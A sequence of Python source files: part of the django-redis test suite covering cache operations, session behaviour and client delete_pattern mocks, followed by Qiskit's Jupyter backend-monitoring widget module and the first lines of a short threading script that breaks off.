def test_delete_return_value_type_before31(self):
"""delete() returns a int before django version 3.1"""
self.cache.set("a", 1)
res = self.cache.delete("a")
self.assertEqual(type(res), int)
self.assertEqual(res, 1)
res = self.cache.delete("b")
self.assertEqual(type(res), int)
self.assertEqual(res, 0)
def test_delete_many(self):
self.cache.set_many({"a": 1, "b": 2, "c": 3})
res = self.cache.delete_many(["a", "b"])
self.assertTrue(bool(res))
res = self.cache.get_many(["a", "b", "c"])
self.assertEqual(res, {"c": 3})
res = self.cache.delete_many(["a", "b"])
self.assertFalse(bool(res))
def test_delete_many_generator(self):
self.cache.set_many({"a": 1, "b": 2, "c": 3})
res = self.cache.delete_many(key for key in ["a", "b"])
self.assertTrue(bool(res))
res = self.cache.get_many(["a", "b", "c"])
self.assertEqual(res, {"c": 3})
res = self.cache.delete_many(["a", "b"])
self.assertFalse(bool(res))
def test_delete_many_empty_generator(self):
res = self.cache.delete_many(key for key in [])
self.assertFalse(bool(res))
def test_incr(self):
if isinstance(self.cache.client, herd.HerdClient):
self.skipTest("HerdClient doesn't support incr")
self.cache.set("num", 1)
self.cache.incr("num")
res = self.cache.get("num")
self.assertEqual(res, 2)
self.cache.incr("num", 10)
res = self.cache.get("num")
self.assertEqual(res, 12)
# max 64 bit signed int
self.cache.set("num", 9223372036854775807)
self.cache.incr("num")
res = self.cache.get("num")
self.assertEqual(res, 9223372036854775808)
self.cache.incr("num", 2)
res = self.cache.get("num")
self.assertEqual(res, 9223372036854775810)
self.cache.set("num", 3)
self.cache.incr("num", 2)
res = self.cache.get("num")
self.assertEqual(res, 5)
def test_incr_error(self):
if isinstance(self.cache.client, herd.HerdClient):
self.skipTest("HerdClient doesn't support incr")
with self.assertRaises(ValueError):
# key does not exist
self.cache.incr("numnum")
def test_incr_ignore_check(self):
if isinstance(self.cache.client, ShardClient):
self.skipTest(
"ShardClient doesn't support argument ignore_key_check to incr"
)
if isinstance(self.cache.client, herd.HerdClient):
self.skipTest("HerdClient doesn't support incr")
# key exists check will be skipped and the value will be incremented by
# '1' which is the default delta
self.cache.incr("num", ignore_key_check=True)
res = self.cache.get("num")
self.assertEqual(res, 1)
self.cache.delete("num")
# since key doesnt exist it is set to the delta value, 10 in this case
self.cache.incr("num", 10, ignore_key_check=True)
res = self.cache.get("num")
self.assertEqual(res, 10)
self.cache.delete("num")
# following are just regression checks to make sure it still works as
# expected with incr max 64 bit signed int
self.cache.set("num", 9223372036854775807)
self.cache.incr("num", ignore_key_check=True)
res = self.cache.get("num")
self.assertEqual(res, 9223372036854775808)
self.cache.incr("num", 2, ignore_key_check=True)
res = self.cache.get("num")
self.assertEqual(res, 9223372036854775810)
self.cache.set("num", 3)
self.cache.incr("num", 2, ignore_key_check=True)
res = self.cache.get("num")
self.assertEqual(res, 5)
def test_get_set_bool(self):
self.cache.set("bool", True)
res = self.cache.get("bool")
self.assertIsInstance(res, bool)
self.assertIs(res, True)
self.cache.set("bool", False)
res = self.cache.get("bool")
self.assertIsInstance(res, bool)
self.assertIs(res, False)
def test_decr(self):
if isinstance(self.cache.client, herd.HerdClient):
self.skipTest("HerdClient doesn't support decr")
self.cache.set("num", 20)
self.cache.decr("num")
res = self.cache.get("num")
self.assertEqual(res, 19)
self.cache.decr("num", 20)
res = self.cache.get("num")
self.assertEqual(res, -1)
self.cache.decr("num", 2)
res = self.cache.get("num")
self.assertEqual(res, -3)
self.cache.set("num", 20)
self.cache.decr("num")
res = self.cache.get("num")
self.assertEqual(res, 19)
# max 64 bit signed int + 1
self.cache.set("num", 9223372036854775808)
self.cache.decr("num")
res = self.cache.get("num")
self.assertEqual(res, 9223372036854775807)
self.cache.decr("num", 2)
res = self.cache.get("num")
self.assertEqual(res, 9223372036854775805)
def test_version(self):
self.cache.set("keytest", 2, version=2)
res = self.cache.get("keytest")
self.assertIsNone(res)
res = self.cache.get("keytest", version=2)
self.assertEqual(res, 2)
def test_incr_version(self):
self.cache.set("keytest", 2)
self.cache.incr_version("keytest")
res = self.cache.get("keytest")
self.assertIsNone(res)
res = self.cache.get("keytest", version=2)
self.assertEqual(res, 2)
def test_delete_pattern(self):
for key in ["foo-aa", "foo-ab", "foo-bb", "foo-bc"]:
self.cache.set(key, "foo")
res = self.cache.delete_pattern("*foo-a*")
self.assertTrue(bool(res))
keys = self.cache.keys("foo*")
self.assertEqual(set(keys), {"foo-bb", "foo-bc"})
res = self.cache.delete_pattern("*foo-a*")
self.assertFalse(bool(res))
@patch("django_redis.cache.RedisCache.client")
def test_delete_pattern_with_custom_count(self, client_mock):
for key in ["foo-aa", "foo-ab", "foo-bb", "foo-bc"]:
self.cache.set(key, "foo")
self.cache.delete_pattern("*foo-a*", itersize=2)
client_mock.delete_pattern.assert_called_once_with("*foo-a*", itersize=2)
@patch("django_redis.cache.RedisCache.client")
def test_delete_pattern_with_settings_default_scan_count(self, client_mock):
for key in ["foo-aa", "foo-ab", "foo-bb", "foo-bc"]:
self.cache.set(key, "foo")
expected_count = django_redis.cache.DJANGO_REDIS_SCAN_ITERSIZE
self.cache.delete_pattern("*foo-a*")
client_mock.delete_pattern.assert_called_once_with(
"*foo-a*", itersize=expected_count
)
@override_settings(DJANGO_REDIS_CLOSE_CONNECTION=True)
def test_close(self):
self.cache.set("f", "1")
self.cache.close()
def test_ttl(self):
cache = caches["default"]
# Test ttl
cache.set("foo", "bar", 10)
ttl = cache.ttl("foo")
if isinstance(cache.client, herd.HerdClient):
self.assertAlmostEqual(ttl, 12)
else:
self.assertAlmostEqual(ttl, 10)
# Test ttl None
cache.set("foo", "foo", timeout=None)
ttl = cache.ttl("foo")
self.assertIsNone(ttl)
# Test ttl with expired key
cache.set("foo", "foo", timeout=-1)
ttl = cache.ttl("foo")
self.assertEqual(ttl, 0)
# Test ttl with not existent key
ttl = cache.ttl("not-existent-key")
self.assertEqual(ttl, 0)
def test_persist(self):
self.cache.set("foo", "bar", timeout=20)
self.cache.persist("foo")
ttl = self.cache.ttl("foo")
self.assertIsNone(ttl)
def test_expire(self):
self.cache.set("foo", "bar", timeout=None)
self.cache.expire("foo", 20)
ttl = self.cache.ttl("foo")
self.assertAlmostEqual(ttl, 20)
def test_lock(self):
lock = self.cache.lock("foobar")
lock.acquire(blocking=True)
self.assertTrue(self.cache.has_key("foobar"))
lock.release()
self.assertFalse(self.cache.has_key("foobar"))
def test_lock_released_by_thread(self):
lock = self.cache.lock("foobar", thread_local=False)
lock.acquire(blocking=True)
def release_lock(lock_):
lock_.release()
t = threading.Thread(target=release_lock, args=[lock])
t.start()
t.join()
self.assertFalse(self.cache.has_key("foobar"))
def test_iter_keys(self):
cache = caches["default"]
if isinstance(cache.client, ShardClient):
self.skipTest("ShardClient doesn't support iter_keys")
cache.set("foo1", 1)
cache.set("foo2", 1)
cache.set("foo3", 1)
# Test simple result
result = set(cache.iter_keys("foo*"))
self.assertEqual(result, {"foo1", "foo2", "foo3"})
# Test limited result
result = list(cache.iter_keys("foo*", itersize=2))
self.assertEqual(len(result), 3)
# Test generator object
result = cache.iter_keys("foo*")
self.assertNotEqual(next(result), None)
def test_primary_replica_switching(self):
if isinstance(self.cache.client, ShardClient):
self.skipTest("ShardClient doesn't support get_client")
cache = caches["sample"]
client = cache.client
client._server = ["foo", "bar"]
client._clients = ["Foo", "Bar"]
self.assertEqual(client.get_client(write=True), "Foo")
self.assertEqual(client.get_client(write=False), "Bar")
def test_touch_zero_timeout(self):
self.cache.set("test_key", 222, timeout=10)
self.assertIs(self.cache.touch("test_key", 0), True)
res = self.cache.get("test_key")
self.assertIsNone(res)
def test_touch_positive_timeout(self):
self.cache.set("test_key", 222, timeout=10)
self.assertIs(self.cache.touch("test_key", 2), True)
self.assertEqual(self.cache.get("test_key"), 222)
time.sleep(3)
self.assertIsNone(self.cache.get("test_key"))
def test_touch_negative_timeout(self):
self.cache.set("test_key", 222, timeout=10)
self.assertIs(self.cache.touch("test_key", -1), True)
res = self.cache.get("test_key")
self.assertIsNone(res)
def test_touch_missed_key(self):
self.assertIs(self.cache.touch("test_key_does_not_exist", 1), False)
def test_touch_forever(self):
self.cache.set("test_key", "foo", timeout=1)
result = self.cache.touch("test_key", None)
self.assertIs(result, True)
self.assertIsNone(self.cache.ttl("test_key"))
time.sleep(2)
self.assertEqual(self.cache.get("test_key"), "foo")
def test_touch_forever_nonexistent(self):
result = self.cache.touch("test_key_does_not_exist", None)
self.assertIs(result, False)
def test_touch_default_timeout(self):
self.cache.set("test_key", "foo", timeout=1)
result = self.cache.touch("test_key")
self.assertIs(result, True)
time.sleep(2)
self.assertEqual(self.cache.get("test_key"), "foo")
def test_clear(self):
self.cache.set("foo", "bar")
value_from_cache = self.cache.get("foo")
self.assertEqual(value_from_cache, "bar")
self.cache.clear()
value_from_cache_after_clear = self.cache.get("foo")
self.assertIsNone(value_from_cache_after_clear)
class DjangoOmitExceptionsTests(unittest.TestCase):
def setUp(self):
caches_setting = copy.deepcopy(settings.CACHES)
caches_setting["doesnotexist"]["OPTIONS"]["IGNORE_EXCEPTIONS"] = True
cm = override_settings(
CACHES=caches_setting, DJANGO_REDIS_IGNORE_EXCEPTIONS=True
)
cm.enable()
self.addCleanup(cm.disable)
self.cache = caches["doesnotexist"]
def test_get_many_returns_default_arg(self):
self.assertIs(self.cache._ignore_exceptions, True)
self.assertEqual(self.cache.get_many(["key1", "key2", "key3"]), {})
def test_get(self):
self.assertIs(self.cache._ignore_exceptions, True)
self.assertIsNone(self.cache.get("key"))
self.assertEqual(self.cache.get("key", "default"), "default")
self.assertEqual(self.cache.get("key", default="default"), "default")
class DjangoOmitExceptionsPriority1Tests(unittest.TestCase):
def setUp(self):
caches_setting = copy.deepcopy(settings.CACHES)
caches_setting["doesnotexist"]["OPTIONS"]["IGNORE_EXCEPTIONS"] = True
cm = override_settings(
CACHES=caches_setting, DJANGO_REDIS_IGNORE_EXCEPTIONS=False
)
cm.enable()
self.addCleanup(cm.disable)
self.cache = caches["doesnotexist"]
def test_get(self):
self.assertIs(self.cache._ignore_exceptions, True)
self.assertIsNone(self.cache.get("key"))
class DjangoOmitExceptionsPriority2Tests(unittest.TestCase):
def setUp(self):
caches_setting = copy.deepcopy(settings.CACHES)
caches_setting["doesnotexist"]["OPTIONS"]["IGNORE_EXCEPTIONS"] = False
cm = override_settings(
CACHES=caches_setting, DJANGO_REDIS_IGNORE_EXCEPTIONS=True
)
cm.enable()
self.addCleanup(cm.disable)
self.cache = caches["doesnotexist"]
def test_get(self):
self.assertIs(self.cache._ignore_exceptions, False)
with self.assertRaises(ConnectionError):
self.cache.get("key")
# Copied from Django's sessions test suite. Keep in sync with upstream.
# https://github.com/django/django/blob/master/tests/sessions_tests/tests.py
class SessionTestsMixin:
# This does not inherit from TestCase to avoid any tests being run with this
# class, which wouldn't work, and to allow different TestCase subclasses to
# be used.
backend = None # subclasses must specify
def setUp(self):
self.session = self.backend()
def tearDown(self):
# NB: be careful to delete any sessions created; stale sessions fill up
# the /tmp (with some backends) and eventually overwhelm it after lots
# of runs (think buildbots)
self.session.delete()
def test_new_session(self):
self.assertIs(self.session.modified, False)
self.assertIs(self.session.accessed, False)
def test_get_empty(self):
self.assertIsNone(self.session.get("cat"))
def test_store(self):
self.session["cat"] = "dog"
self.assertIs(self.session.modified, True)
self.assertEqual(self.session.pop("cat"), "dog")
def test_pop(self):
self.session["some key"] = "exists"
# Need to reset these to pretend we haven't accessed it:
self.accessed = False
self.modified = False
self.assertEqual(self.session.pop("some key"), "exists")
self.assertIs(self.session.accessed, True)
self.assertIs(self.session.modified, True)
self.assertIsNone(self.session.get("some key"))
def test_pop_default(self):
self.assertEqual(
self.session.pop("some key", "does not exist"), "does not exist"
)
self.assertIs(self.session.accessed, True)
self.assertIs(self.session.modified, False)
def test_pop_default_named_argument(self):
self.assertEqual(
self.session.pop("some key", default="does not exist"), "does not exist"
)
self.assertIs(self.session.accessed, True)
self.assertIs(self.session.modified, False)
def test_pop_no_default_keyerror_raised(self):
with self.assertRaises(KeyError):
self.session.pop("some key")
def test_setdefault(self):
self.assertEqual(self.session.setdefault("foo", "bar"), "bar")
self.assertEqual(self.session.setdefault("foo", "baz"), "bar")
self.assertIs(self.session.accessed, True)
self.assertIs(self.session.modified, True)
def test_update(self):
self.session.update({"update key": 1})
self.assertIs(self.session.accessed, True)
self.assertIs(self.session.modified, True)
self.assertEqual(self.session.get("update key"), 1)
def test_has_key(self):
self.session["some key"] = 1
self.session.modified = False
self.session.accessed = False
self.assertIn("some key", self.session)
self.assertIs(self.session.accessed, True)
self.assertIs(self.session.modified, False)
def test_values(self):
self.assertEqual(list(self.session.values()), [])
self.assertIs(self.session.accessed, True)
self.session["some key"] = 1
self.session.modified = False
self.session.accessed = False
self.assertEqual(list(self.session.values()), [1])
self.assertIs(self.session.accessed, True)
self.assertIs(self.session.modified, False)
def test_keys(self):
self.session["x"] = 1
self.session.modified = False
self.session.accessed = False
self.assertEqual(list(self.session.keys()), ["x"])
self.assertIs(self.session.accessed, True)
self.assertIs(self.session.modified, False)
def test_items(self):
self.session["x"] = 1
self.session.modified = False
self.session.accessed = False
self.assertEqual(list(self.session.items()), [("x", 1)])
self.assertIs(self.session.accessed, True)
self.assertIs(self.session.modified, False)
def test_clear(self):
self.session["x"] = 1
self.session.modified = False
self.session.accessed = False
self.assertEqual(list(self.session.items()), [("x", 1)])
self.session.clear()
self.assertEqual(list(self.session.items()), [])
self.assertIs(self.session.accessed, True)
self.assertIs(self.session.modified, True)
def test_save(self):
self.session.save()
self.assertIs(self.session.exists(self.session.session_key), True)
def test_delete(self):
self.session.save()
self.session.delete(self.session.session_key)
self.assertIs(self.session.exists(self.session.session_key), False)
def test_flush(self):
self.session["foo"] = "bar"
self.session.save()
prev_key = self.session.session_key
self.session.flush()
self.assertIs(self.session.exists(prev_key), False)
self.assertNotEqual(self.session.session_key, prev_key)
self.assertIsNone(self.session.session_key)
self.assertIs(self.session.modified, True)
self.assertIs(self.session.accessed, True)
def test_cycle(self):
self.session["a"], self.session["b"] = "c", "d"
self.session.save()
prev_key = self.session.session_key
prev_data = list(self.session.items())
self.session.cycle_key()
self.assertIs(self.session.exists(prev_key), False)
self.assertNotEqual(self.session.session_key, prev_key)
self.assertEqual(list(self.session.items()), prev_data)
def test_cycle_with_no_session_cache(self):
self.session["a"], self.session["b"] = "c", "d"
self.session.save()
prev_data = self.session.items()
self.session = self.backend(self.session.session_key)
self.assertIs(hasattr(self.session, "_session_cache"), False)
self.session.cycle_key()
self.assertCountEqual(self.session.items(), prev_data)
def test_save_doesnt_clear_data(self):
self.session["a"] = "b"
self.session.save()
self.assertEqual(self.session["a"], "b")
def test_invalid_key(self):
# Submitting an invalid session key (either by guessing, or if the db has
# removed the key) results in a new key being generated.
try:
session = self.backend("1")
session.save()
self.assertNotEqual(session.session_key, "1")
self.assertIsNone(session.get("cat"))
session.delete()
finally:
# Some backends leave a stale cache entry for the invalid
# session key; make sure that entry is manually deleted
session.delete("1")
def test_session_key_empty_string_invalid(self):
"""Falsey values (Such as an empty string) are rejected."""
self.session._session_key = ""
self.assertIsNone(self.session.session_key)
def test_session_key_too_short_invalid(self):
"""Strings shorter than 8 characters are rejected."""
self.session._session_key = "1234567"
self.assertIsNone(self.session.session_key)
def test_session_key_valid_string_saved(self):
"""Strings of length 8 and up are accepted and stored."""
self.session._session_key = "12345678"
self.assertEqual(self.session.session_key, "12345678")
def test_session_key_is_read_only(self):
def set_session_key(session):
session.session_key = session._get_new_session_key()
with self.assertRaises(AttributeError):
set_session_key(self.session)
# Custom session expiry
def test_default_expiry(self):
# A normal session has a max age equal to settings
self.assertEqual(self.session.get_expiry_age(), settings.SESSION_COOKIE_AGE)
# So does a custom session with an idle expiration time of 0 (but it'll
# expire at browser close)
self.session.set_expiry(0)
self.assertEqual(self.session.get_expiry_age(), settings.SESSION_COOKIE_AGE)
def test_custom_expiry_seconds(self):
modification = timezone.now()
self.session.set_expiry(10)
date = self.session.get_expiry_date(modification=modification)
self.assertEqual(date, modification + timedelta(seconds=10))
age = self.session.get_expiry_age(modification=modification)
self.assertEqual(age, 10)
def test_custom_expiry_timedelta(self):
modification = timezone.now()
# Mock timezone.now, because set_expiry calls it on this code path.
original_now = timezone.now
try:
timezone.now = lambda: modification
self.session.set_expiry(timedelta(seconds=10))
finally:
timezone.now = original_now
date = self.session.get_expiry_date(modification=modification)
self.assertEqual(date, modification + timedelta(seconds=10))
age = self.session.get_expiry_age(modification=modification)
self.assertEqual(age, 10)
def test_custom_expiry_datetime(self):
modification = timezone.now()
self.session.set_expiry(modification + timedelta(seconds=10))
date = self.session.get_expiry_date(modification=modification)
self.assertEqual(date, modification + timedelta(seconds=10))
age = self.session.get_expiry_age(modification=modification)
self.assertEqual(age, 10)
def test_custom_expiry_reset(self):
self.session.set_expiry(None)
self.session.set_expiry(10)
self.session.set_expiry(None)
self.assertEqual(self.session.get_expiry_age(), settings.SESSION_COOKIE_AGE)
def test_get_expire_at_browser_close(self):
# Tests get_expire_at_browser_close with different settings and different
# set_expiry calls
with override_settings(SESSION_EXPIRE_AT_BROWSER_CLOSE=False):
self.session.set_expiry(10)
self.assertIs(self.session.get_expire_at_browser_close(), False)
self.session.set_expiry(0)
self.assertIs(self.session.get_expire_at_browser_close(), True)
self.session.set_expiry(None)
self.assertIs(self.session.get_expire_at_browser_close(), False)
with override_settings(SESSION_EXPIRE_AT_BROWSER_CLOSE=True):
self.session.set_expiry(10)
self.assertIs(self.session.get_expire_at_browser_close(), False)
self.session.set_expiry(0)
self.assertIs(self.session.get_expire_at_browser_close(), True)
self.session.set_expiry(None)
self.assertIs(self.session.get_expire_at_browser_close(), True)
def test_decode(self):
# Ensure we can decode what we encode
data = {"a test key": "a test value"}
encoded = self.session.encode(data)
self.assertEqual(self.session.decode(encoded), data)
def test_decode_failure_logged_to_security(self):
bad_encode = base64.b64encode(b"flaskdj:alkdjf").decode("ascii")
with self.assertLogs("django.security.SuspiciousSession", "WARNING") as cm:
self.assertEqual({}, self.session.decode(bad_encode))
# The failed decode is logged.
self.assertIn("corrupted", cm.output[0])
def test_actual_expiry(self):
# this doesn't work with JSONSerializer (serializing timedelta)
with override_settings(
SESSION_SERIALIZER="django.contrib.sessions.serializers.PickleSerializer"
):
self.session = self.backend() # reinitialize after overriding settings
# Regression test for #19200
old_session_key = None
new_session_key = None
try:
self.session["foo"] = "bar"
self.session.set_expiry(-timedelta(seconds=10))
self.session.save()
old_session_key = self.session.session_key
# With an expiry date in the past, the session expires instantly.
new_session = self.backend(self.session.session_key)
new_session_key = new_session.session_key
self.assertNotIn("foo", new_session)
finally:
self.session.delete(old_session_key)
self.session.delete(new_session_key)
def test_session_load_does_not_create_record(self):
"""
Loading an unknown session key does not create a session record.
Creating session records on load is a DOS vulnerability.
"""
session = self.backend("someunknownkey")
session.load()
self.assertIsNone(session.session_key)
self.assertIs(session.exists(session.session_key), False)
# provided unknown key was cycled, not reused
self.assertNotEqual(session.session_key, "someunknownkey")
def test_session_save_does_not_resurrect_session_logged_out_in_other_context(self):
"""
Sessions shouldn't be resurrected by a concurrent request.
"""
from django.contrib.sessions.backends.base import UpdateError
# Create new session.
s1 = self.backend()
s1["test_data"] = "value1"
s1.save(must_create=True)
# Logout in another context.
s2 = self.backend(s1.session_key)
s2.delete()
# Modify session in first context.
s1["test_data"] = "value2"
with self.assertRaises(UpdateError):
# This should throw an exception as the session is deleted, not
# resurrect the session.
s1.save()
self.assertEqual(s1.load(), {})
class SessionTests(SessionTestsMixin, unittest.TestCase):
backend = CacheSession
def test_actual_expiry(self):
if isinstance(
caches[DEFAULT_CACHE_ALIAS].client._serializer, MSGPackSerializer
):
self.skipTest("msgpack serializer doesn't support datetime serialization")
super().test_actual_expiry()
class TestDefaultClient(unittest.TestCase):
@patch("test_backend.DefaultClient.get_client")
@patch("test_backend.DefaultClient.__init__", return_value=None)
def test_delete_pattern_calls_get_client_given_no_client(
self, init_mock, get_client_mock
):
client = DefaultClient()
client._backend = Mock()
client._backend.key_prefix = ""
client.delete_pattern(pattern="foo*")
get_client_mock.assert_called_once_with(write=True)
@patch("test_backend.DefaultClient.make_pattern")
@patch("test_backend.DefaultClient.get_client", return_value=Mock())
@patch("test_backend.DefaultClient.__init__", return_value=None)
def test_delete_pattern_calls_make_pattern(
self, init_mock, get_client_mock, make_pattern_mock
):
client = DefaultClient()
client._backend = Mock()
client._backend.key_prefix = ""
get_client_mock.return_value.scan_iter.return_value = []
client.delete_pattern(pattern="foo*")
kwargs = {"version": None, "prefix": None}
# if not isinstance(caches['default'].client, ShardClient):
# kwargs['prefix'] = None
make_pattern_mock.assert_called_once_with("foo*", **kwargs)
@patch("test_backend.DefaultClient.make_pattern")
@patch("test_backend.DefaultClient.get_client", return_value=Mock())
@patch("test_backend.DefaultClient.__init__", return_value=None)
def test_delete_pattern_calls_scan_iter_with_count_if_itersize_given(
self, init_mock, get_client_mock, make_pattern_mock
):
client = DefaultClient()
client._backend = Mock()
client._backend.key_prefix = ""
get_client_mock.return_value.scan_iter.return_value = []
client.delete_pattern(pattern="foo*", itersize=90210)
get_client_mock.return_value.scan_iter.assert_called_once_with(
count=90210, match=make_pattern_mock.return_value
)
class TestShardClient(unittest.TestCase):
@patch("test_backend.DefaultClient.make_pattern")
@patch("test_backend.ShardClient.__init__", return_value=None)
def test_delete_pattern_calls_scan_iter_with_count_if_itersize_given(
self, init_mock, make_pattern_mock
):
client = ShardClient()
client._backend = Mock()
client._backend.key_prefix = ""
connection = Mock()
connection.scan_iter.return_value = []
client._serverdict = {"test": connection}
client.delete_pattern(pattern="foo*", itersize=10)
connection.scan_iter.assert_called_once_with(
count=10, match=make_pattern_mock.return_value
)
@patch("test_backend.DefaultClient.make_pattern")
@patch("test_backend.ShardClient.__init__", return_value=None)
def test_delete_pattern_calls_scan_iter(self, init_mock, make_pattern_mock):
client = ShardClient()
client._backend = Mock()
client._backend.key_prefix = ""
connection = Mock()
connection.scan_iter.return_value = []
client._serverdict = {"test": connection}
client.delete_pattern(pattern="foo*")
connection.scan_iter.assert_called_once_with(
match=make_pattern_mock.return_value
)
@patch("test_backend.DefaultClient.make_pattern")
@patch("test_backend.ShardClient.__init__", return_value=None)
def test_delete_pattern_calls_delete_for_given_keys(
self, init_mock, make_pattern_mock
):
client = ShardClient()
client._backend = Mock()
client._backend.key_prefix = ""
connection = Mock()
connection.scan_iter.return_value = [Mock(), Mock()]
connection.delete.return_value = 0
client._serverdict = {"test": connection}
client.delete_pattern(pattern="foo*")
connection.delete.assert_called_once_with(*connection.scan_iter.return_value)
|
backend_overview.py | # -*- coding: utf-8 -*-
# This code is part of Qiskit.
#
# (C) Copyright IBM 2017, 2018.
#
# This code is licensed under the Apache License, Version 2.0. You may
# obtain a copy of this license in the LICENSE.txt file in the root directory
# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.
#
# Any modifications or derivative works of this code must retain this
# copyright notice, and modified files need to carry a notice indicating
# that they have been altered from the originals.
"""A module for monitoring backends."""
import time
import threading
import types
from IPython.display import display # pylint: disable=import-error
from IPython.core.magic import line_magic, Magics, magics_class # pylint: disable=import-error
from IPython.core import magic_arguments # pylint: disable=import-error
import matplotlib.pyplot as plt # pylint: disable=import-error
import ipywidgets as widgets # pylint: disable=import-error
from qiskit.tools.monitor.backend_overview import get_unique_backends
from qiskit.visualization.gate_map import plot_gate_map
@magics_class
class BackendOverview(Magics):
"""A class of status magic functions.
"""
@line_magic
@magic_arguments.magic_arguments()
@magic_arguments.argument(
'-i',
'--interval',
type=float,
default=60,
help='Interval for status check.'
)
def qiskit_backend_overview(self, line='', cell=None): # pylint: disable=W0613
"""A Jupyter magic function to monitor backends.
"""
args = magic_arguments.parse_argstring(
self.qiskit_backend_overview, line)
unique_hardware_backends = get_unique_backends()
_value = "<h2 style ='color:#ffffff; background-color:#000000;"
_value += "padding-top: 1%; padding-bottom: 1%;padding-left: 1%;"
_value += "margin-top: 0px'>Backend Overview</h2>"
backend_title = widgets.HTML(value=_value,
layout=widgets.Layout(margin='0px 0px 0px 0px'))
build_back_widgets = [backend_widget(b)
for b in unique_hardware_backends]
_backends = []
# Sort backends by operational or not
oper_ord_backends = []
for n, back in enumerate(unique_hardware_backends):
if back.status().operational:
oper_ord_backends = [build_back_widgets[n]] + oper_ord_backends
_backends = [back] + _backends
else:
oper_ord_backends = oper_ord_backends + [build_back_widgets[n]]
_backends = _backends + [back]
qubit_label = widgets.Label(value='Num. Qubits')
pend_label = widgets.Label(value='Pending Jobs')
least_label = widgets.Label(value='Least Busy')
oper_label = widgets.Label(
value='Operational', layout=widgets.Layout(margin='5px 0px 0px 0px'))
t1_label = widgets.Label(
value='Avg. T1', layout=widgets.Layout(margin='10px 0px 0px 0px'))
t2_label = widgets.Label(
value='Avg. T2', layout=widgets.Layout(margin='10px 0px 0px 0px'))
labels_widget = widgets.VBox([qubit_label, pend_label, least_label,
oper_label, t1_label, t2_label],
layout=widgets.Layout(margin='295px 0px 0px 0px',
min_width='100px'))
backend_grid = GridBox_with_thread(children=oper_ord_backends,
layout=widgets.Layout(
grid_template_columns='250px ' *
len(unique_hardware_backends),
grid_template_rows='auto',
grid_gap='0px 25px'))
backend_grid._backends = _backends # pylint: disable=W0201
backend_grid._update = types.MethodType( # pylint: disable=W0201
update_backend_info, backend_grid)
backend_grid._thread = threading.Thread( # pylint: disable=W0201
target=backend_grid._update, args=(args.interval,))
backend_grid._thread.start()
back_box = widgets.HBox([labels_widget, backend_grid])
back_monitor = widgets.VBox([backend_title, back_box])
display(back_monitor)
class GridBox_with_thread(widgets.GridBox): # pylint: disable=invalid-name
"""A GridBox that will close an attached thread
"""
def __del__(self):
"""Object disposal"""
if hasattr(self, '_thread'):
try:
self._thread.do_run = False
self._thread.join()
except Exception: # pylint: disable=W0703
pass
self.close()
def backend_widget(backend):
"""Creates a backend widget.
"""
config = backend.configuration().to_dict()
props = backend.properties().to_dict()
name = widgets.HTML(value="<h4>{name}</h4>".format(name=backend.name()),
layout=widgets.Layout())
n_qubits = config['n_qubits']
qubit_count = widgets.HTML(value="<h5><b>{qubits}</b></h5>".format(qubits=n_qubits),
layout=widgets.Layout(justify_content='center'))
cmap = widgets.Output(layout=widgets.Layout(min_width='250px', max_width='250px',
max_height='250px',
min_height='250px',
justify_content='center',
align_items='center',
margin='0px 0px 0px 0px'))
with cmap:
_cmap_fig = plot_gate_map(backend,
plot_directed=False,
label_qubits=False)
if _cmap_fig is not None:
display(_cmap_fig)
# Prevents plot from showing up twice.
plt.close(_cmap_fig)
pending = generate_jobs_pending_widget()
is_oper = widgets.HTML(value="<h5></h5>",
layout=widgets.Layout(justify_content='center'))
least_busy = widgets.HTML(value="<h5></h5>",
layout=widgets.Layout(justify_content='center'))
t1_units = props['qubits'][0][0]['unit']
avg_t1 = round(sum([q[0]['value'] for q in props['qubits']])/n_qubits, 1)
t1_widget = widgets.HTML(value="<h5>{t1} {units}</h5>".format(t1=avg_t1, units=t1_units),
layout=widgets.Layout())
t2_units = props['qubits'][0][1]['unit']
avg_t2 = round(sum([q[1]['value'] for q in props['qubits']])/n_qubits, 1)
t2_widget = widgets.HTML(value="<h5>{t2} {units}</h5>".format(t2=avg_t2, units=t2_units),
layout=widgets.Layout())
out = widgets.VBox([name, cmap, qubit_count, pending,
least_busy, is_oper, t1_widget, t2_widget],
layout=widgets.Layout(display='inline-flex',
flex_flow='column',
align_items='center'))
out._is_alive = True
return out
def update_backend_info(self, interval=60):
"""Updates the monitor info
Called from another thread.
"""
my_thread = threading.currentThread()
current_interval = 0
started = False
all_dead = False
stati = [None]*len(self._backends)
while getattr(my_thread, "do_run", True) and not all_dead:
if current_interval == interval or started is False:
for ind, back in enumerate(self._backends):
_value = self.children[ind].children[2].value
_head = _value.split('<b>')[0]
try:
_status = back.status()
stati[ind] = _status
except Exception: # pylint: disable=W0703
self.children[ind].children[2].value = _value.replace(
_head, "<h5 style='color:#ff5c49'>")
self.children[ind]._is_alive = False
else:
self.children[ind]._is_alive = True
self.children[ind].children[2].value = _value.replace(
_head, "<h5>")
idx = list(range(len(self._backends)))
pending = [s.pending_jobs for s in stati]
_, least_idx = zip(*sorted(zip(pending, idx)))
# Make sure least pending is operational
for ind in least_idx:
if stati[ind].operational:
least_pending_idx = ind
break
for var in idx:
if var == least_pending_idx:
self.children[var].children[4].value = "<h5 style='color:#34bc6e'>True</h5>"
else:
self.children[var].children[4].value = "<h5 style='color:#dc267f'>False</h5>"
self.children[var].children[3].children[1].value = pending[var]
self.children[var].children[3].children[1].max = max(
self.children[var].children[3].children[1].max, pending[var]+10)
if stati[var].operational:
self.children[var].children[5].value = "<h5 style='color:#34bc6e'>True</h5>"
else:
self.children[var].children[5].value = "<h5 style='color:#dc267f'>False</h5>"
started = True
current_interval = 0
time.sleep(1)
all_dead = not any([wid._is_alive for wid in self.children])
current_interval += 1
def generate_jobs_pending_widget():
"""Generates a jobs_pending progress bar widget.
"""
pbar = widgets.IntProgress(
value=0,
min=0,
max=50,
description='',
orientation='horizontal', layout=widgets.Layout(max_width='180px'))
pbar.style.bar_color = '#71cddd'
pbar_current = widgets.Label(
value=str(pbar.value), layout=widgets.Layout(min_width='auto'))
pbar_max = widgets.Label(
value=str(pbar.max), layout=widgets.Layout(min_width='auto'))
def _on_max_change(change):
pbar_max.value = str(change['new'])
def _on_val_change(change):
pbar_current.value = str(change['new'])
pbar.observe(_on_max_change, names='max')
pbar.observe(_on_val_change, names='value')
jobs_widget = widgets.HBox([pbar_current, pbar, pbar_max],
layout=widgets.Layout(max_width='250px',
min_width='250px',
justify_content='center'))
return jobs_widget
|
gloable_way3.py | from share_var.gloable import lis
import threading
def consume():
for i in lis:
with open('aabc.txt', 'a+') as file:
